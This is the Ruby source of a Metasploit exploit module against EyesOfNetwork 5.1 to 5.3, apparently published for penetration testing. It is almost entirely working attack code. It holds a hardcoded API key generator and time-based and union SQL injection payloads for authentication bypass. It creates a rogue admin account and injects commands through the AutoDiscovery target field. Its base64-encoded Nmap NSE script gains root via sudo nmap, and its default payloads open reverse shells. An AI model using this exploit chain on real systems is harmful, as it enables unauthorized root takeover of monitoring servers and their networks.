cgranleese-r7
452 lines
15 KiB
Ruby
452 lines
15 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::CmdStager
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include Msf::Exploit::SQLi
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prepend Msf::Exploit::Remote::AutoCheck
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'EyesOfNetwork 5.1-5.3 AutoDiscovery Target Command Execution',
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'Description' => %q{
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This module exploits multiple vulnerabilities in EyesOfNetwork version 5.1, 5.2
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and 5.3 in order to execute arbitrary commands as root.
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This module takes advantage of a command injection vulnerability in the
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`target` parameter of the AutoDiscovery functionality within the EON web
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interface in order to write an Nmap NSE script containing the payload to
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disk. It then starts an Nmap scan to activate the payload. This results in
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privilege escalation because the`apache` user can execute Nmap as root.
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Valid credentials for a user with administrative privileges are required.
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However, this module can bypass authentication via various methods, depending on
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the EON version. EON 5.3 is vulnerable to a hardcoded API key and two SQL
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injection exploits. EON 5.1 and 5.2 can only be exploited via SQL injection.
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This module has been successfully tested on EyesOfNetwork 5.1, 5.2 and 5.3.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Clément Billac', # @h4knet - Discovery and exploits
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'bcoles', # Metasploit
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'Erik Wynter' # @wyntererik - Metasploit
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],
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'References' =>
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[
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['CVE', '2020-8654'], # authenticated rce
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['CVE', '2020-8655'], # nmap privesc
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['CVE', '2020-8656'], # sqli auth bypass
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['CVE', '2020-8657'], # hardcoded API key
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['CVE', '2020-9465'], # sqli in user_id cookie field
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['EDB', '48025'], #exploit for EON 5.3 (does not cover CVE 2020-9465)
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['URL', 'https://github.com/h4knet/eonrce'] #exploits for EON 5.1-5.3 that cover all CVEs mentioned above
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],
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'Payload' => { 'BadChars' => "\x00" },
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'Targets' =>
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[
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[ 'Linux (x86)', {
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'Arch' => ARCH_X86,
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'Platform' => 'linux',
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'DefaultOptions' => {
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'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp'
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}
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} ],
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[ 'Linux (x64)', {
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'Arch' => ARCH_X64,
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'Platform' => 'linux',
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'DefaultOptions' => {
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'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
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}
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} ],
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[ 'Linux (cmd)', {
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'Arch' => ARCH_CMD,
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'Platform' => 'unix',
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'DefaultOptions' => {
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'PAYLOAD' => 'cmd/unix/reverse_bash'
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},
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} ]
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],
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'Privileged' => true,
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'DisclosureDate' => '2020-02-06',
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'DefaultOptions' => {
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'RPORT' => 443,
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'SSL' => true, #HTTPS is required for the module to work
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},
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'DefaultTarget' => 1,
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'Notes' =>
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{
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'Stability' => [ CRASH_SAFE, ],
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'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, ],
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'Reliability' => [ REPEATABLE_SESSION, ],
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}
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))
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register_options [
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OptString.new('TARGETURI', [true, 'Base path to EyesOfNetwork', '/']),
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OptString.new('SERVER_ADDR', [true, 'EyesOfNetwork server IP address (if different from RHOST)', '']),
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]
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end
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def nmap_path
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'/usr/bin/nmap'
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end
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def server_addr
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datastore['SERVER_ADDR'].blank? ? rhost : datastore['SERVER_ADDR']
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end
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def check
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vprint_status("Running check")
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res_css = send_request_cgi 'uri' => normalize_uri(target_uri.path, 'css/eonweb.css')
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unless res_css
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return CheckCode::Unknown('Connection failed')
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end
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unless res_css.code == 200
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return CheckCode::Safe('Target is not an EyesOfNetwork application.')
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end
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@version = res_css.body.to_s.split("VERSION :")[1].split(" ")[0]
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if @version.to_s == ''
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return CheckCode::Detected('Could not determine EyesOfNetwork version.')
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end
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if @version == '5.1'
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return CheckCode::Appears("Target is EyesOfNetwork version 5.1.")
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end
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#The css file for EON 5.2 and 5.3 both mentions version 5.2, so additional checks are needed
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if @version != '5.2' #The module only works against EON 5.1, 5.2 and 5.3. Other versions are not considered vulnerable.
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return CheckCode::NotVulnerable("Target is EyesOfNetwork version #{@version} and is not vulnerable.")
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end
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res_api = send_request_cgi 'uri' => normalize_uri(target_uri.path, '/eonapi/getApiKey')
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unless res_api
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return CheckCode::Unknown('Connection failed')
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end
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unless res_api.code == 401 && res_api.body.include?('api_version')
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return CheckCode::Safe('Target is not an EyesOfNetwork application.')
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end
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api_version = res_api.get_json_document()['api_version'] rescue ''
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if api_version.to_s == ''
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return CheckCode::Detected('Could not determine EyesOfNetwork version.')
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end
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api_version = Rex::Version.new api_version
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unless api_version <= Rex::Version.new('2.4.2')
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return CheckCode::Safe("Target is EyesOfNetwork with API version #{api_version}.")
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end
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#The only way to distinguish between EON 5.2 and 5.3 without authenticating is by checking the mod_perl version in the http response headers
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#The official EON 5.2 VM runs Apache with mod_perl version 2.0.10, while the EON 5.3 VM runs Apache with mod_perl version 2.0.11
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if res_api.headers.to_s.include?('mod_perl/2.0.10')
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@version = '5.2'
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return CheckCode::Appears("Target is EyesOfNetwork 5.2 with API version #{api_version}.")
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elsif res_api.headers.to_s.include?('mod_perl/2.0.11')
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@version = '5.3'
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return CheckCode::Appears("Target is EyesOfNetwork 5.3 or older with API version #{api_version}.")
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else
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return CheckCode::Detected("Could not determine EyesOfNetwork version. API version is #{api_version}")
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end
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end
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def sqli_to_admin_session
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@sqli = create_sqli(dbms: MySQLi::TimeBasedBlind) do |payload|
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res = send_request_cgi({
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'method' => 'GET',
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'uri' => normalize_uri(target_uri.path, '/login.php'),
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'cookie' => "user_id=' union select #{payload} -- ;"
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})
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fail_with Failure::Unreachable, 'Connection failed' unless res
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end
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# check if target is vulnerable to CVE-2020-9465
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unless @sqli.test_vulnerable
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fail_with Failure::NotVulnerable, 'The target does not seem vulnerable. You could try increasing the value of the advanced option "SqliDelay".'
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end
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print_good 'The target seems vulnerable.'
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# Check if the admin user has a session opened, which is required for this exploit to work
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admin_sessions = @sqli.run_sql('select if((select count(*) from sessions where user_id = 1) > 0,1,0)', output_charset: ('0' .. '1'))
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if admin_sessions != '1'
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fail_with Failure::NoAccess, 'The admin user has no active sessions.'
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return
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end
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print_status 'Verified that the admin user has at least one active session.'
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print_status("Calculating the admin 'session_id' value. This will take a while...")
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# Could have done : @sqli.dump_table_fields('database()', 'sessions', %w(session_id), 'user_id=1', 1)
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@session_id = @sqli.run_sql('select session_id from sessions limit 1', output_charset: ('0'..'9'))
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print_good("Obtained admin 'session_id' value: #{@session_id}")
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@cookie = "session_id=#{@session_id}; user_name=admin; user_id=1; group_id=1;"
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end
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def generate_api_key
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default_key = "€On@piK3Y"
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default_user_id = 1
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key = Digest::MD5.hexdigest(default_key + default_user_id.to_s)
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Digest::SHA256.hexdigest(key + server_addr)
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end
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def sqli_to_api_key
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# Attempt to obtain the admin API key via SQL injection, using a fake password and its md5 encrypted hash
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fake_pass = Rex::Text::rand_text_alpha(10)
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fake_pass_md5 = Digest::MD5.hexdigest("#{fake_pass}")
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user_sqli = "' union select 1,'admin','#{fake_pass_md5}',0,0,1,1,8 or '"
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api_res = send_request_cgi({
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'uri' => normalize_uri(target_uri.path, "/eonapi/getApiKey"),
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'method' => 'GET',
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'vars_get' => {
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'username' => user_sqli,
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'password' => fake_pass
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}
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})
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unless api_res
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print_error('Connection failed.')
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return
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end
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unless api_res.code == 200 && api_res.get_json_document.include?('EONAPI_KEY')
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print_error("SQL injection to obtain API key failed")
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return
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end
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api_res.get_json_document()['EONAPI_KEY']
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end
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def create_eon_user(user, password)
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vprint_status("Creating user #{user} ...")
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vars_post = {
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user_name: user,
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user_group: "admins",
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user_password: password
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}
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res = send_request_cgi({
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'method' => 'POST',
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'uri' => normalize_uri(target_uri.path, '/eonapi/createEonUser'),
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'ctype' => 'application/json',
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'vars_get' => {
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'apiKey' => @api_key,
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'username' => @api_user
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},
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'data' => vars_post.to_json
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})
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unless res
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print_warning("Failed to create user: Connection failed.")
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return
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end
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return res
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end
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def verify_api_key(res)
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return false unless res.code == 200
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json_data = res.get_json_document
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json_res = json_data['result']
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return false unless json_res && json_res['description']
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json_res = json_res['description']
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return true if json_res && json_res.include?('SUCCESS')
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return false
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end
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def delete_eon_user(user)
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vprint_status "Removing user #{user} ..."
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res = send_request_cgi({
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'method' => 'POST',
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'uri' => normalize_uri(target_uri.path, '/eonapi/deleteEonUser'),
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'ctype' => 'application/json',
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'data' => { user_name: user }.to_json,
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'vars_get' => { apiKey: @api_key, username: @api_user }
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})
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unless res
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print_warning 'Removing user #{user} failed: Connection failed'
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return
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end
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res
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end
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def login(user, pass)
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vprint_status "Authenticating as #{user} ..."
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res = send_request_cgi({
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'method' => 'POST',
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'uri' => normalize_uri(target_uri.path, 'login.php'),
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'vars_post' => {
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login: user,
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mdp: pass
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}
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})
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unless res
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fail_with Failure::Unreachable, 'Connection failed'
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end
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unless res.code == 200 && res.body.include?('dashboard_view')
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fail_with Failure::NoAccess, 'Authentication failed'
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end
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print_good "Authenticated as user #{user}"
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@cookie = res.get_cookies
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if @cookie.empty?
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fail_with Failure::UnexpectedReply, 'Failed to retrieve cookies'
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end
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res
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end
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def create_autodiscovery_job(cmd)
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vprint_status "Creating AutoDiscovery job: #{cmd}"
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res = send_request_cgi({
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'method' => 'POST',
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'uri' => normalize_uri(target_uri.path, '/lilac/autodiscovery.php'),
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'cookie' => @cookie,
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'vars_post' => {
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'request' => 'autodiscover',
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'job_name' => 'Internal discovery',
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'job_description' => 'Internal EON discovery procedure.',
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'nmap_binary' => nmap_path,
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'default_template' => '',
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'target[]' => cmd
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}
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})
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unless res
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fail_with Failure::Unreachable, 'Creating AutoDiscovery job failed: Connection failed'
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end
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unless res.body.include? 'Starting...'
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fail_with Failure::Unknown, 'Creating AutoDiscovery job failed: Job failed to start'
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end
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res
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end
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def delete_autodiscovery_job(job_id)
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vprint_status "Removing AutoDiscovery job #{job_id} ..."
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res = send_request_cgi({
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'method' => 'POST',
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'uri' => normalize_uri(target_uri.path, '/lilac/autodiscovery.php'),
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'cookie' => @cookie,
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'vars_get' => {
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id: job_id,
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delete: 1
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}
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})
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unless res
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print_warning "Removing AutoDiscovery job #{job_id} failed: Connection failed"
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return
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end
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res
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end
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def filter_bad_chars(cmd)
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cmd.gsub!(/"/, '\"')
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end
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def execute_command(cmd, opts = {})
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nse = Rex::Text.encode_base64("local os=require \"os\" hostrule=function(host) os.execute(\"#{cmd}\") end action=function() end")
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nse_path = "/tmp/.#{rand_text_alphanumeric 8..12}"
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nse_cmd = "echo #{nse} | base64 -d > #{nse_path};sudo #{nmap_path} localhost -sn -script #{nse_path};rm #{nse_path}"
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if target.arch.first == ARCH_CMD
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print_status "Sending payload (#{nse_cmd.length} bytes) ..."
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end
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res = create_autodiscovery_job ";#{nse_cmd} #"
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return unless res
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job_id = res.body.scan(/autodiscovery.php\?id=([\d]+)/).flatten.first
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if job_id.empty?
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print_warning 'Could not retrieve AutoDiscovery job ID. Manual removal required.'
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return
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end
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delete_autodiscovery_job job_id
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end
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def cleanup
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super
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if @username
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delete_eon_user @username
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end
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end
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def exploit
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if @version != '5.3'
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print_status "Target is EyesOfNetwork version #{@version}. Attempting exploitation using CVE-2020-9465."
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sqli_to_admin_session
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else
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print_status "Target is EyesOfNetwork version #{@version} or later. Attempting exploitation using CVE-2020-8657 or CVE-2020-8656."
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@api_user = 'admin'
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@api_key = generate_api_key
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print_status "Using generated API key: #{@api_key}"
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@username = rand_text_alphanumeric(8..12)
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@password = rand_text_alphanumeric(8..12)
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create_res = create_eon_user @username, @password
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api = true #used to check if any of the 2 api exploits work. If not, CVE-2020-9465 is attempted
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unless verify_api_key(create_res)
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@api_key = sqli_to_api_key
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if @api_key
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print_error("Generated API key does not match.")
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print_status("Using API key obtained via SQL injection: #{@api_key}")
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sqli_verify = create_eon_user @username, @password
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api = false unless verify_api_key(sqli_verify)
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else
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api = false
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end
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end
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if api
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admin_group_id = 1
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login @username, @password
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unless @cookie.include? 'group_id='
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@cookie << "; group_id=#{admin_group_id}"
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end
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else
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print_error("Failed to obtain valid API key.")
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print_status("Attempting exploitation using CVE-2020-9465.")
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sqli_to_admin_session
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end
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end
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if target.arch.first == ARCH_CMD
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execute_command payload.encoded.gsub(/"/, '\"')
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else
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execute_cmdstager(background: true)
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end
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end
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end
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